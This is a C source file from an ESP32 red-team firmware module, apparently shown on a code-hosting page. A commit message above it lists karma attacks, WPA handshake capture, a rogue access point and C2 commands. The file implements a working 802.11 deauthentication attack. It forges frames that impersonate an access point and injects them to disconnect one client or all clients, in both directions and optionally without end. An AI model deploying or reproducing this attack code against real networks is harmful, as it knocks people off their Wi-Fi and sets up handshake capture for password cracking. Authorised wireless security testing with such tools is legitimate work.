Some checks failed
Discord Push Notification / notify (push) Has been cancelled
Phase 1 of v0.4.0 offensive modules: - Promiscuous dispatcher (rt_promisc): shared IRAM callback multiplexer for stealth scan, karma, capture — solves single-callback ESP-IDF limit - Attack manager (rt_attack): mutual exclusion ensuring only one offensive operation runs at a time - Deauth refactored to use shared promisc dispatcher + attack lock - Stealth passive scan migrated to promisc dispatcher - Karma attack (rt_karma): probe request listener + probe response injection + rogue SoftAP with most-requested SSID + DNS responder - WPA handshake capture (rt_capture): EAPOL frame capture via promiscuous DATA filter, 4-way handshake identification, optional deauth burst to trigger reconnection - Kconfig: RT_BEACON, RT_KARMA, RT_CAPTURE toggle options - 5 new C2 commands: rt_karma, rt_karma_stop, rt_karma_clients, rt_capture, rt_capture_stop (14 total in mod_redteam)
207 lines
5.8 KiB
C
207 lines
5.8 KiB
C
/*
|
|
* rt_deauth.c
|
|
* 802.11 deauthentication frame injection via esp_wifi_80211_tx().
|
|
*
|
|
* Sends deauth frames to disconnect clients from an AP.
|
|
* Supports targeted (single client) and broadcast (all clients) modes.
|
|
*
|
|
* Uses rt_promisc for promiscuous mode management and rt_attack for
|
|
* mutual exclusion with other offensive operations.
|
|
*/
|
|
#include "sdkconfig.h"
|
|
|
|
#ifdef CONFIG_MODULE_REDTEAM
|
|
|
|
#include <string.h>
|
|
#include <stdatomic.h>
|
|
|
|
#include "freertos/FreeRTOS.h"
|
|
#include "freertos/task.h"
|
|
#include "esp_wifi.h"
|
|
#include "esp_log.h"
|
|
|
|
#include "rt_deauth.h"
|
|
#include "rt_promisc.h"
|
|
#include "rt_attack.h"
|
|
|
|
#define TAG "RT_DEAUTH"
|
|
|
|
/* ============================================================
|
|
* 802.11 Deauth frame (26 bytes)
|
|
* ============================================================
|
|
*
|
|
* Frame Control: 0x00C0 (type=0 mgmt, subtype=0xC deauth)
|
|
* Duration: 0x0000
|
|
* Addr1: Destination (client or FF:FF:FF:FF:FF:FF)
|
|
* Addr2: Source (BSSID — we impersonate the AP)
|
|
* Addr3: BSSID
|
|
* Seq Control: 0x0000 (auto-filled by driver if en_sys_seq=true)
|
|
* Reason Code: 0x0007 (Class 3 frame from nonassociated STA)
|
|
*/
|
|
typedef struct __attribute__((packed)) {
|
|
uint16_t frame_ctrl;
|
|
uint16_t duration;
|
|
uint8_t addr1[6]; /* receiver */
|
|
uint8_t addr2[6]; /* transmitter (spoofed AP) */
|
|
uint8_t addr3[6]; /* BSSID */
|
|
uint16_t seq_ctrl;
|
|
uint16_t reason;
|
|
} deauth_frame_t;
|
|
|
|
_Static_assert(sizeof(deauth_frame_t) == 26, "deauth frame must be 26 bytes");
|
|
|
|
static const uint8_t BROADCAST_MAC[6] = {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF};
|
|
|
|
/* Task state */
|
|
static TaskHandle_t s_task = NULL;
|
|
static atomic_bool s_active = ATOMIC_VAR_INIT(false);
|
|
|
|
/* Parameters passed to the task */
|
|
typedef struct {
|
|
uint8_t bssid[6];
|
|
uint8_t client[6];
|
|
bool broadcast;
|
|
uint8_t channel;
|
|
uint32_t count;
|
|
uint32_t delay_ms;
|
|
} deauth_params_t;
|
|
|
|
static deauth_params_t s_params;
|
|
|
|
/* ============================================================
|
|
* Deauth task — runs on Core 1
|
|
* ============================================================ */
|
|
static void deauth_task(void *arg)
|
|
{
|
|
deauth_params_t *p = (deauth_params_t *)arg;
|
|
|
|
/* Switch to target channel via the shared dispatcher */
|
|
if (p->channel > 0 && p->channel <= 13) {
|
|
rt_promisc_enable();
|
|
rt_promisc_set_channel(p->channel);
|
|
}
|
|
|
|
/* Build the deauth frame */
|
|
deauth_frame_t frame;
|
|
memset(&frame, 0, sizeof(frame));
|
|
frame.frame_ctrl = 0x00C0; /* deauth */
|
|
frame.reason = 0x0007; /* Class 3 frame from nonassociated STA */
|
|
|
|
/* Addr2/Addr3 = BSSID (we pretend to be the AP) */
|
|
memcpy(frame.addr2, p->bssid, 6);
|
|
memcpy(frame.addr3, p->bssid, 6);
|
|
|
|
/* Addr1 = target client or broadcast */
|
|
if (p->broadcast) {
|
|
memcpy(frame.addr1, BROADCAST_MAC, 6);
|
|
} else {
|
|
memcpy(frame.addr1, p->client, 6);
|
|
}
|
|
|
|
uint32_t delay = p->delay_ms ? p->delay_ms : 10;
|
|
uint32_t sent = 0;
|
|
bool continuous = (p->count == 0);
|
|
|
|
ESP_LOGI(TAG, "Deauth started: bssid=%02X:%02X:%02X:%02X:%02X:%02X "
|
|
"target=%s ch=%d count=%s delay=%"PRIu32"ms",
|
|
p->bssid[0], p->bssid[1], p->bssid[2],
|
|
p->bssid[3], p->bssid[4], p->bssid[5],
|
|
p->broadcast ? "broadcast" : "targeted",
|
|
p->channel,
|
|
continuous ? "infinite" : "finite",
|
|
delay);
|
|
|
|
while (atomic_load(&s_active)) {
|
|
/* Send deauth from AP to client */
|
|
esp_wifi_80211_tx(WIFI_IF_STA, &frame, sizeof(frame), false);
|
|
|
|
/* Also send deauth from client to AP (bidirectional) */
|
|
if (!p->broadcast) {
|
|
deauth_frame_t rev;
|
|
memcpy(&rev, &frame, sizeof(rev));
|
|
memcpy(rev.addr1, p->bssid, 6); /* receiver = AP */
|
|
memcpy(rev.addr2, p->client, 6); /* transmitter = client */
|
|
/* addr3 stays = BSSID */
|
|
esp_wifi_80211_tx(WIFI_IF_STA, &rev, sizeof(rev), false);
|
|
}
|
|
|
|
sent++;
|
|
|
|
if (!continuous && sent >= p->count) {
|
|
break;
|
|
}
|
|
|
|
vTaskDelay(pdMS_TO_TICKS(delay));
|
|
}
|
|
|
|
ESP_LOGI(TAG, "Deauth stopped: %"PRIu32" frames sent", sent * (p->broadcast ? 1 : 2));
|
|
|
|
rt_promisc_disable();
|
|
rt_attack_stop();
|
|
atomic_store(&s_active, false);
|
|
s_task = NULL;
|
|
vTaskDelete(NULL);
|
|
}
|
|
|
|
/* ============================================================
|
|
* Public API
|
|
* ============================================================ */
|
|
|
|
void rt_deauth_start(const uint8_t bssid[6],
|
|
const uint8_t *client,
|
|
uint8_t channel,
|
|
uint32_t count,
|
|
uint32_t delay_ms)
|
|
{
|
|
if (atomic_load(&s_active)) {
|
|
rt_deauth_stop();
|
|
vTaskDelay(pdMS_TO_TICKS(100));
|
|
}
|
|
|
|
/* Acquire the attack lock */
|
|
if (rt_attack_start(RT_ATTACK_DEAUTH) != ESP_OK) {
|
|
ESP_LOGW(TAG, "Cannot start deauth: another attack is running (%s)",
|
|
rt_attack_name());
|
|
return;
|
|
}
|
|
|
|
memcpy(s_params.bssid, bssid, 6);
|
|
|
|
if (client == NULL || memcmp(client, BROADCAST_MAC, 6) == 0) {
|
|
memcpy(s_params.client, BROADCAST_MAC, 6);
|
|
s_params.broadcast = true;
|
|
} else {
|
|
memcpy(s_params.client, client, 6);
|
|
s_params.broadcast = false;
|
|
}
|
|
|
|
s_params.channel = channel;
|
|
s_params.count = count;
|
|
s_params.delay_ms = delay_ms;
|
|
|
|
atomic_store(&s_active, true);
|
|
|
|
xTaskCreatePinnedToCore(
|
|
deauth_task,
|
|
"rt_deauth",
|
|
4096,
|
|
&s_params,
|
|
6,
|
|
&s_task,
|
|
1 /* Core 1 */
|
|
);
|
|
}
|
|
|
|
void rt_deauth_stop(void)
|
|
{
|
|
atomic_store(&s_active, false);
|
|
/* Task will self-delete and release the attack lock */
|
|
}
|
|
|
|
bool rt_deauth_is_active(void)
|
|
{
|
|
return atomic_load(&s_active);
|
|
}
|
|
|
|
#endif /* CONFIG_MODULE_REDTEAM */
|